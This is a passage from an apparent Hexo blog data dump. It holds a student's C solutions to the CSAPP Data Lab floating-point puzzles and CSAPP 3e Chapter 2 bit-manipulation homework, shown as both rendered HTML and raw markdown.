class=\"headerlink\" title=\"float_neg\"></a>float_neg</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/* </span></span><br><span class=\"line\"><span class=\"comment\"> * float_neg - Return bit-level equivalent of expression -f for</span></span><br><span class=\"line\"><span class=\"comment\"> * floating point argument f.</span></span><br><span class=\"line\"><span class=\"comment\"> * Both the argument and result are passed as unsigned int's, but</span></span><br><span class=\"line\"><span class=\"comment\"> * they are to be interpreted as the bit-level representations of</span></span><br><span class=\"line\"><span class=\"comment\"> * single-precision floating point values.</span></span><br><span class=\"line\"><span class=\"comment\"> * When argument is NaN, return argument.</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while</span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 10</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 2</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">unsigned</span> <span class=\"title\">float_neg</span><span class=\"params\">(<span class=\"keyword\">unsigned</span> uf)</span> </span>{</span><br><span class=\"line\">\t<span class=\"keyword\">unsigned</span> t = uf&<span class=\"number\">0x7FFFFFFF</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">if</span>(t^<span class=\"number\">0x7F800000</span> && (t>><span class=\"number\">23</span>)+<span class=\"number\">1</span>>><span class=\"number\">8</span>)</span><br><span class=\"line\">\t\t<span class=\"keyword\">return</span> uf;</span><br><span class=\"line\">\t<span class=\"keyword\">else</span> </span><br><span class=\"line\">\t\t<span class=\"keyword\">return</span> uf^<span class=\"number\">0x80000000</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-11\"><a href=\"#思路-11\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>判别是否是NaN。先判断尾数是否全0，然后用<code>(t>>23)+1>>8</code>判断exp是否全1</li>\n</ul>\n<h3 id=\"float-i2f\"><a href=\"#float-i2f\" class=\"headerlink\" title=\"float_i2f\"></a>float_i2f</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br><span class=\"line\">27</span><br><span class=\"line\">28</span><br><span class=\"line\">29</span><br><span class=\"line\">30</span><br><span class=\"line\">31</span><br><span class=\"line\">32</span><br><span class=\"line\">33</span><br><span class=\"line\">34</span><br><span class=\"line\">35</span><br><span class=\"line\">36</span><br><span class=\"line\">37</span><br><span class=\"line\">38</span><br><span class=\"line\">39</span><br><span class=\"line\">40</span><br><span class=\"line\">41</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/* </span></span><br><span class=\"line\"><span class=\"comment\"> * float_i2f - Return bit-level equivalent of expression (float) x</span></span><br><span class=\"line\"><span class=\"comment\"> * Result is returned as unsigned int, but</span></span><br><span class=\"line\"><span class=\"comment\"> * it is to be interpreted as the bit-level representation of a</span></span><br><span class=\"line\"><span class=\"comment\"> * single-precision floating point values.</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while</span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 30</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 4</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">unsigned</span> <span class=\"title\">float_i2f</span><span class=\"params\">(<span class=\"keyword\">int</span> x)</span> </span>{</span><br><span class=\"line\"> <span class=\"keyword\">unsigned</span> shiftLeft=<span class=\"number\">0</span>;</span><br><span class=\"line\"> <span class=\"keyword\">unsigned</span> afterShift, tmp, flag;</span><br><span class=\"line\"> <span class=\"keyword\">unsigned</span> absX=x;</span><br><span class=\"line\"> <span class=\"keyword\">unsigned</span> sign=<span class=\"number\">0</span>;</span><br><span class=\"line\"> <span class=\"comment\">//special case</span></span><br><span class=\"line\"> <span class=\"keyword\">if</span> (x==<span class=\"number\">0</span>) <span class=\"keyword\">return</span> <span class=\"number\">0</span>;</span><br><span class=\"line\"> <span class=\"comment\">//if x < 0, sign = 1000...,abs_x = -x</span></span><br><span class=\"line\"> <span class=\"keyword\">if</span> (x<<span class=\"number\">0</span>)</span><br><span class=\"line\"> {</span><br><span class=\"line\"> sign=<span class=\"number\">0x80000000</span>;</span><br><span class=\"line\"> absX=-x;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> afterShift=absX;</span><br><span class=\"line\"> <span class=\"comment\">//count shift_left and after_shift</span></span><br><span class=\"line\"> <span class=\"keyword\">while</span> (<span class=\"number\">1</span>)</span><br><span class=\"line\"> {</span><br><span class=\"line\"> tmp=afterShift;</span><br><span class=\"line\"> afterShift<<=<span class=\"number\">1</span>;</span><br><span class=\"line\"> shiftLeft++;</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (tmp & <span class=\"number\">0x80000000</span>) <span class=\"keyword\">break</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">if</span> ((afterShift & <span class=\"number\">0x01ff</span>)><span class=\"number\">0x0100</span>)</span><br><span class=\"line\"> flag=<span class=\"number\">1</span>;</span><br><span class=\"line\"> <span class=\"keyword\">else</span> <span class=\"keyword\">if</span> ((afterShift & <span class=\"number\">0x03ff</span>)==<span class=\"number\">0x0300</span>)</span><br><span class=\"line\"> flag=<span class=\"number\">1</span>;</span><br><span class=\"line\"> <span class=\"keyword\">else</span></span><br><span class=\"line\"> flag=<span class=\"number\">0</span>;</span><br><span class=\"line\"> </span><br><span class=\"line\"> <span class=\"keyword\">return</span> sign + (afterShift>><span class=\"number\">9</span>) + ((<span class=\"number\">159</span>-shiftLeft)<<<span class=\"number\">23</span>) + flag;</span><br><span class=\"line\">}</span><br><span class=\"line\"><span class=\"comment\">//from http://www.cnblogs.com/tenlee/p/4951639.html</span></span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-12\"><a href=\"#思路-12\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li><p>分情况处理0、负数、正数</p>\n</li>\n<li><p>要处理舍人</p>\n<blockquote>\n<ul>\n<li>向接近的舍入</li>\n<li>如果处于中间，向偶数舍入</li>\n</ul>\n</blockquote>\n</li>\n<li><p>舍入时，如果尾数加一，exp有可能需要进位，这时候直接加一效果一样，可以导致exp进位，不需要特殊处理。如果exp等于0xFE，那么进位就变成了inf，也是合法的</p>\n</li>\n</ul>\n<h3 id=\"float-twict\"><a href=\"#float-twict\" class=\"headerlink\" title=\"float_twict\"></a>float_twict</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br><span class=\"line\">27</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/* </span></span><br><span class=\"line\"><span class=\"comment\"> * float_twice - Return bit-level equivalent of expression 2*f for</span></span><br><span class=\"line\"><span class=\"comment\"> * floating point argument f.</span></span><br><span class=\"line\"><span class=\"comment\"> * Both the argument and result are passed as unsigned int's, but</span></span><br><span class=\"line\"><span class=\"comment\"> * they are to be interpreted as the bit-level representation of</span></span><br><span class=\"line\"><span class=\"comment\"> * single-precision floating point values.</span></span><br><span class=\"line\"><span class=\"comment\"> * When argument is NaN, return argument</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while</span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 30</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 4</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">unsigned</span> <span class=\"title\">float_twice</span><span class=\"params\">(<span class=\"keyword\">unsigned</span> uf)</span> </span>{</span><br><span class=\"line\">\t<span class=\"keyword\">unsigned</span> t = uf&<span class=\"number\">0x7FFFFFFF</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">unsigned</span> temp = t&<span class=\"number\">0x7F800000</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">unsigned</span> temp2 = uf&<span class=\"number\">0xFF800000</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> expFull = !(temp^<span class=\"number\">0x7F800000</span>);</span><br><span class=\"line\">\t<span class=\"keyword\">if</span>(t^<span class=\"number\">0x7F800000</span> && expFull)</span><br><span class=\"line\">\t\t<span class=\"keyword\">return</span> uf;</span><br><span class=\"line\">\t<span class=\"keyword\">if</span>(expFull){</span><br><span class=\"line\">\t\t<span class=\"keyword\">return</span> temp2;</span><br><span class=\"line\">\t}</span><br><span class=\"line\">\t<span class=\"keyword\">if</span>(!(t&<span class=\"number\">0x7F800000</span>)){</span><br><span class=\"line\">\t\t<span class=\"keyword\">unsigned</span> k = (uf&<span class=\"number\">0x7FFFFF</span>);</span><br><span class=\"line\">\t\t<span class=\"keyword\">return</span> temp2+(k<<<span class=\"number\">1</span>);</span><br><span class=\"line\">\t}</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> (temp>><span class=\"number\">23</span>)+<span class=\"number\">1</span><<<span class=\"number\">23</span> | uf&<span class=\"number\">0x807FFFFF</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-13\"><a href=\"#思路-13\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>分情况处理三种IEEE754的情况</li>\n<li>需要注意exp全0时，乘以二就是尾数乘以二，如果发生进位需要exp进位，不需要特殊处理（第三个if），因为进位直接导致exp加一，这就足够了</li>\n</ul>\n","slug":"CSAPP-Data-Lab","categories":[{"name":"CSAPP","slug":"CSAPP","permalink":"https://h-zex.github.io/categories/CSAPP/"}],"tags":[{"name":"CSAPP Lab","slug":"CSAPP-Lab","permalink":"https://h-zex.github.io/tags/CSAPP-Lab/"}]},{"title":"CSAPP3e 第二章作业","date":"2017-08-06T04:18:27.000Z","path":"2017/08/06/CSAPP3e-第二章作业/","text":"2.5812345int isLittleEndian1(){ int a = 1; return ((char*)&a)[0];} 2.591234int f2_59(int x, int y){ return x&(((1<<(sizeof(int)-1)*8)-1)<<8)|(y&0xFF);} 2.6012345unsigned replaceByte(unsigned x, int i, unsigned char b){ int t = ~0 - ((1LL<<(i+1<<3))-(1<<(i<<3))); return x&t|((unsigned)b<<(i<<3));} 2.611234int A2_61(int x){ return !(x^~0);} 1234int B2_61(int x){ return !x;} 1234int C2_61(int x){ return !((x&0xFF)^0xFF);} 1234int D2_61(int x){ return !((unsigned)x>>((sizeof(int)-1)<<3));} 2.6212345int isRightShiftAreArithmetic(){ int x = -1>>1; return x==-1;} 2.6312345unsigned srl(unsigned x, int k){ unsigned xsra = (int)x>>k; return xsra&(1<<(sizeof(int)<<3)-k)-1;} 123456int sra(int x, int k){ int xsrl = (unsigned)x>>k; int t = ~0-(1<<k)+1 & x>>((sizeof(int)<<3)-1); return t|xsrl;} 2.6412345//题目中没有说bit从0开始计数还是从1开始，此处默认从0开始int anyOddOne(unsigned x){ return (x&0xaaaaaaaa)==0xaaaaaaaa;} 2.6512345678910int oddOnesV1(unsigned x){ //思路，用xor消掉成对的1，不成对的记录下来 x ^= x<<16; x ^= x<<8; x ^= x<<4; x ^= x<<2; x ^= x<<1; return x>>31;} 12345678910int oddOnesV2(unsigned x){ //思路与上一个函数类似 x ^= x<<1; //思考的时候只考虑奇数位，不需要考虑偶数位（从1开始计数bit位） x ^= x<<2; //只考虑mod4==0的位置 x ^= x<<4; //只考虑mod8==0的位置 x ^= x<<8; //只考虑mod16==0的位置 x ^= x<<16; //只考虑mod32==0的位置 return x>>31;} 2.66123456789int leftMostOne(unsigned x){ x |= x>>1; x |= x>>2; x |= x>>4; x |= x>>8; x |= x>>16; return x-(x>>1);} 2.671234int intSizeIs32(){ return INT_MAX==0x80000000-1;} 2.68123456int lowerOneMark(int n){ int t = -!(n-(sizeof(int)<<3)); //方法1 return (1<<n)-1&~t | t;// return ((n!=(sizeof(int)<<3))<<n)-1; //方法2} 2.6912345unsigned rotateLeft(unsigned x, int n){ //移位sizeof*8不行，但是移位sizeof*8-1再移位1就可行了，上一题也可以这样搞 return x>>((sizeof(unsigned)<<3)-n-1)>>1 | x<<n;} 2.701234int fitBits(int x, int n){ return x>>n-1==0 | x>>n-1==-1;} 2.7112345typedef unsigned pack_t;int xbyte(pack_t word, int bytenum){ return (int)word<<(3-bytenum<<3)>>24;} 2.73123456789101112131415161718192021222324252627int saturatingAdd(int x, int y){ //方法一 int t = (sizeof(int)<<3)-1; int p = ((unsigned)x>>t)+((unsigned)y>>t)+((unsigned)x+y>>t); t = ((unsigned)x>>t)+((unsigned)y>>t); return -(p==2&&t!=1)&INT_MIN | -(p==1&&t!=1)&INT_MAX | -(p==0||t==1)&x+y | -(p==3||t==1)&x+y; //方法二 int t = (sizeof(int)<<3)-1; int p = ((unsigned)x>>t<<2)|((unsigned)y>>t<<1)|((unsigned)x+y>>t); return -(p==6)&INT_MIN | -(p==1)&INT_MAX | -(p!=1&&p!=6)&x+y; //方法三（from http://blog.csdn.net/yang_f_k/article/details/8857904） int w=sizeof(int)<<3; int sum = x+y; int mask = 1<<(w-1); int x_lmb = x&mask; int y_lmb = y&mask; int sum_lmb = sum&mask; int neg_of = x_lmb && y_lmb && (!sum_lmb); int pos_of = !x_lmb && !y_lmb && sum_lmb; (pos_of &&(sum=INT_MAX)) || (neg_of && (sum = INT_MIN)); //这一条不错 return sum;} 2.741234567int tsubOk(int x, int y){ int t = (sizeof(int)<<3)-1; int p = (unsigned)x>>t<<2 | (unsigned)-y>>t<<1 | (unsigned)x-y>>t; t = y==INT_MIN; return p!=6 && p!=1 && !t || t && p==6;} 2.75123456unsigned unsignedHightProd(unsigned x, unsigned y){ unsigned t = signed_high_prod(x, y); int l = (sizeof(int)<<3)-1; return t + (x>>l)*x+(y>>l)*y;} 2.761234567891011void* Calloc(size_t nmemb, size_t size){ size_t t = nmemb*size; void *p; if(!size || t/size==nmemb){ p = malloc(t); if(!p)return NULL; memset(p, 0, t); }else return NULL; return p;} 2.7712345678int f2_77(int x){ int k1 = (x<<4)+x; int k2 = -(x<<3)+x; int k3 = (x<<6)-(x<<2); int k4 = -(x<<7)+(x<<4); return (k1==x*17)<<3 | (k2==x*-7)<<2 | (k3==x*60)<<1 | k4==x*-112;} 2.78123456int dividePower2(int x, int k){ int l = sizeof(int)<<3; l = -(x>>l-1); return (l<<k)-l+x >> k;} 2.791234567int mul3div4(int x){ x = (x<<2) - x; int l = sizeof(int)<<3; int t = -(x>>l-1); return (t<<2)-t+x >> 2;} 2.8012345678910int threefourths(int x){ int t = x&0x3; int t2 = -(x>>(sizeof(int)<<3)-1); int p = (x>>2); p = (p<<1)+p; t = (t<<1)+t; p += (t>>2) + (t2&&t); return p;} 2.8112345678910int hw281A(int k){ return 0-(1<<k-!!k<<!!k); //k may equal to 0 or 32;}int hw281B(int j, int k){ int t = k+j; return (0-(1<<j-!!j<<!!j)) ^ (0-(1<<t-!!t<<!!t));} 2.8212345678/* * A: NO; x== 0x10000000, B==rand(); * B: Yes; * C: Yes; 因为，取反操作之后立刻截断与计算完之后再截断是等价的。 * 可以两边都加上1，从而左右两个过程（截断之前）都是两个负数相加 * D: Yes; * E: Yes; */ 2.83$\\sum_{i=1}^{\\infty}Y2^{-ki}$ 2.841return ((sx<sy) && ux!=0 && uy!=0x80000000) | (sx==sy) & !!(ux-uy);","raw":"---\ntitle: CSAPP3e 第二章作业\ntoc: false\ncomments: true\nmathjax: true\ndate: 2017-08-06 12:18:27\ntags:\n- CSAPP Homework\ndescription: My solution to Ch2's Hw\ncategories:\n- CSAPP\n---\n\n## 2.58\n```c\nint isLittleEndian1()\n{\n\tint a = 1;\n\treturn ((char*)&a)[0];\n}\n```\n\n\n## 2.59\n```c\nint f2_59(int x, int y)\n{\n\treturn x&(((1<<(sizeof(int)-1)*8)-1)<<8)|(y&0xFF);\n}\n```\n\n\n## 2.60\n```c\nunsigned replaceByte(unsigned x, int i, unsigned char b)\n{\n\tint t = ~0 - ((1LL<<(i+1<<3))-(1<<(i<<3)));\n\treturn x&t|((unsigned)b<<(i<<3));\n}\n```\n\n\n## 2.61\n```c\nint A2_61(int x)\n{\n\treturn !(x^~0);\n}\n```\n\n```c\nint B2_61(int x)\n{\n\treturn !x;\n}\n```\n\n```c\nint C2_61(int x)\n{\n\treturn !((x&0xFF)^0xFF);\n}\n```\n\n```c\nint D2_61(int x)\n{\n\treturn !((unsigned)x>>((sizeof(int)-1)<<3));\n}\n```\n\n\n## 2.62\n```c\nint isRightShiftAreArithmetic()\n{\n\tint x = -1>>1;\n\treturn x==-1;\n}\n```\n\n\n## 2.63\n```c\nunsigned srl(unsigned x, int k)\n{\n\tunsigned xsra = (int)x>>k;\n\treturn xsra&(1<<(sizeof(int)<<3)-k)-1;\n}\n```\n\n```c\nint sra(int x, int k)\n{\n\tint xsrl = (unsigned)x>>k;\n\tint t = ~0-(1<<k)+1 & x>>((sizeof(int)<<3)-1);\n\treturn t|xsrl;\n}\n```\n\n\n## 2.64\n```c\n//题目中没有说bit从0开始计数还是从1开始，此处默认从0开始\nint anyOddOne(unsigned x)\n{\n\treturn (x&0xaaaaaaaa)==0xaaaaaaaa;\n}\n```\n\n\n## 2.65\n```c\nint oddOnesV1(unsigned x)\n{\n\t//思路，用xor消掉成对的1，不成对的记录下来\n\tx ^= x<<16;\n\tx ^= x<<8;\n\tx ^= x<<4;\n\tx ^= x<<2;\n\tx ^= x<<1;\n\treturn x>>31;\n}\n```\n\n```c\nint oddOnesV2(unsigned x)\n{\n\t//思路与上一个函数类似\n\tx ^= x<<1;\t//思考的时候只考虑奇数位，不需要考虑偶数位（从1开始计数bit位）\n\tx ^= x<<2;\t//只考虑mod4==0的位置\n\tx ^= x<<4;\t//只考虑mod8==0的位置\n\tx ^= x<<8;\t//只考虑mod16==0的位置\n\tx ^= x<<16;\t//只考虑mod32==0的位置\n\treturn x>>31;\n}\n```\n\n\n## 2.66\n```c\nint leftMostOne(unsigned x)\n{\n\tx |= x>>1;\n\tx |= x>>2;\n\tx |= x>>4;\n\tx |= x>>8;\n\tx |= x>>16;\n\treturn x-(x>>1);\n}\n```\n\n\n## 2.67\n```c\nint intSizeIs32()\n{\n\treturn INT_MAX==0x80000000-1;\n}\n```\n\n\n## 2.68\n```c\nint lowerOneMark(int n)\n{\n\tint t = -!(n-(sizeof(int)<<3));\t//方法1\n\treturn (1<<n)-1&~t | t;\n//\treturn ((n!=(sizeof(int)<<3))<<n)-1;\t//方法2\n}\n```\n\n\n## 2.69\n```c\nunsigned rotateLeft(unsigned x, int n)\n{\n\t//移位sizeof*8不行，但是移位sizeof*8-1再移位1就可行了，上一题也可以这样搞\n\treturn x>>((sizeof(unsigned)<<3)-n-1)>>1 | x<<n;\n}\n```\n\n\n## 2.70\n```c\nint fitBits(int x, int n)\n{\n\treturn x>>n-1==0 | x>>n-1==-1;\n}\n```\n\n\n## 2.71\n```c\ntypedef unsigned pack_t;\nint xbyte(pack_t word, int bytenum)\n{\n\treturn (int)word<<(3-bytenum<<3)>>24;\n}\n```\n\n## 2.73\n```c\nint saturatingAdd(int x, int y)\n{\n\t//方法一\n\tint t = (sizeof(int)<<3)-1;\n\tint p = ((unsigned)x>>t)+((unsigned)y>>t)+((unsigned)x+y>>t);\n\tt = ((unsigned)x>>t)+((unsigned)y>>t);\n\treturn -(p==2&&t!=1)&INT_MIN | -(p==1&&t!=1)&INT_MAX | -(p==0||t==1)&x+y | -(p==3||t==1)&x+y;\n \n\t//方法二\n\tint t = (sizeof(int)<<3)-1;\n\tint p = ((unsigned)x>>t<<2)|((unsigned)y>>t<<1)|((unsigned)x+y>>t);\n\treturn -(p==6)&INT_MIN | -(p==1)&INT_MAX | -(p!=1&&p!=6)&x+y;\n \n\t//方法三（from http://blog.csdn.net/yang_f_k/article/details/8857904）\n\tint w=sizeof(int)<<3;\n\tint sum = x+y;\n\tint mask = 1<<(w-1);\n\tint x_lmb = x&mask;\n\tint y_lmb = y&mask;\n\tint sum_lmb = sum&mask;\n\t\n\tint neg_of = x_lmb && y_lmb && (!sum_lmb);\n\tint pos_of = !x_lmb && !y_lmb && sum_lmb;\n\t\n\t(pos_of &&(sum=INT_MAX)) || (neg_of && (sum = INT_MIN)); //这一条不错\n\treturn sum;\n}\n```\n\n\n## 2.74\n```c\nint tsubOk(int x, int y)\n{\n\tint t = (sizeof(int)<<3)-1;\n\tint p = (unsigned)x>>t<<2 | (unsigned)-y>>t<<1 | (unsigned)x-y>>t;\n\tt = y==INT_MIN;\n\treturn p!=6 && p!=1 && !t || t && p==6;\n}\n```\n\n\n## 2.75\n```c\nunsigned unsignedHightProd(unsigned x, unsigned y)\n{\n\tunsigned t = signed_high_prod(x, y);\n\tint l = (sizeof(int)<<3)-1;\n\treturn t + (x>>l)*x+(y>>l)*y;\n}\n```\n\n\n## 2.76\n```c\nvoid* Calloc(size_t nmemb, size_t size)\n{\n\tsize_t t = nmemb*size;\n\tvoid *p;\n\tif(!size || t/size==nmemb){\n\t\tp = malloc(t);\n\t\tif(!p)return NULL;\n\t\tmemset(p, 0, t);\n\t}else return NULL;\n\treturn p;\n}\n```\n\n\n## 2.77\n```c\nint f2_77(int x)\n{\n\tint k1 = (x<<4)+x;\n\tint k2 = -(x<<3)+x;\n\tint k3 = (x<<6)-(x<<2);\n\tint k4 = -(x<<7)+(x<<4);\n\treturn (k1==x*17)<<3 | (k2==x*-7)<<2 | (k3==x*60)<<1 | k4==x*-112;\n}\n```\n\n## 2.78\n```c\nint dividePower2(int x, int k)\n{\n\tint l = sizeof(int)<<3;\n\tl = -(x>>l-1);\n\treturn (l<<k)-l+x >> k;\n}\n```\n## 2.79\n```c\nint mul3div4(int x)\n{\n\tx = (x<<2) - x;\n\tint l = sizeof(int)<<3;\n\tint t = -(x>>l-1);\n\treturn (t<<2)-t+x >> 2;\n}\n```\n## 2.80\n```c\nint threefourths(int x)\n{\n\tint t = x&0x3;\n\tint t2 = -(x>>(sizeof(int)<<3)-1);\n\tint p = (x>>2);\n\tp = (p<<1)+p;\n\tt = (t<<1)+t;\n\tp += (t>>2) + (t2&&t);\n\treturn p;\n}\n```\n## 2.81\n```c\nint hw281A(int k)\n{\n\treturn 0-(1<<k-!!k<<!!k);\t//k may equal to 0 or 32;\n}\n\nint hw281B(int j, int k)\n{\n\tint t = k+j;\n\treturn (0-(1<<j-!!j<<!!j)) ^ (0-(1<<t-!!t<<!!t));\n}\n```\n## 2.82\n```c\n/*\n * A: NO; x== 0x10000000, B==rand();\n * B: Yes; \n * C: Yes; 因为，取反操作之后立刻截断与计算完之后再截断是等价的。\n * 可以两边都加上1，从而左右两个过程（截断之前）都是两个负数相加\n * D: Yes;\n * E: Yes;\n */\n```\n\n## 2.83\n$\\sum_{i=1}^{\\infty}Y*2^{-k*i}$\n\n## 2.84\n```c\nreturn ((sx<sy) && ux!=0 && uy!=0x80000000) | (sx==sy) & !!(ux-uy);\n```\n","content":"<h2 id=\"2-58\"><a href=\"#2-58\" class=\"headerlink\" title=\"2.58\"></a>2.58</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">isLittleEndian1</span><span class=\"params\">()</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> a = <span class=\"number\">1</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> ((<span class=\"keyword\">char</span>*)&a)[<span class=\"number\">0</span>];</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-59\"><a href=\"#2-59\" class=\"headerlink\" title=\"2.59\"></a>2.59</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">f2_59</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> y)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> x&(((<span class=\"number\">1</span><<(<span class=\"keyword\">sizeof</span>(<span class=\"keyword\">int</span>)<span class=\"number\">-1</span>)*<span class=\"number\">8</span>)<span class=\"number\">-1</span>)<<<span class=\"number\">8</span>)|(y&<span class=\"number\">0xFF</span>);</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-60\"><a href=\"#2-60\" class=\"headerlink\" title=\"2.60\"></a>2.60</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">unsigned</span> <span class=\"title\">replaceByte</span><span class=\"params\">(<span class=\"keyword\">unsigned</span> x, <span class=\"keyword\">int</span> i, <span class=\"keyword\">unsigned</span> <span class=\"keyword\">char</span> b)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> t = ~<span class=\"number\">0</span> - ((<span class=\"number\">1L</span>L<<(i+<span class=\"number\">1</span><<<span class=\"number\">3</span>))-(<span class=\"number\">1</span><<(i<<<span class=\"number\">3</span>)));</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> x&t|((<span class=\"keyword\">unsigned</span>)b<<(i<<<span class=\"number\">3</span>));</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-61\"><a href=\"#2-61\" class=\"headerlink\" title=\"2.61\"></a>2.61</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">A2_61</span><span class=\"params\">(<span class=\"keyword\">int</span> x)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> !(x^~<span class=\"number\">0</span>);</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">B2_61</span><span class=\"params\">(<span class=\"keyword\">int</span> x)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> !x;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">C2_61</span><span class=\"params\">(<span class=\"keyword\">int</span> x)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> !((x&<span class=\"number\">0xFF</span>)^<span class=\"number\">0xFF</span>);</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<figure class=\"highlight c\"><table><tr><td 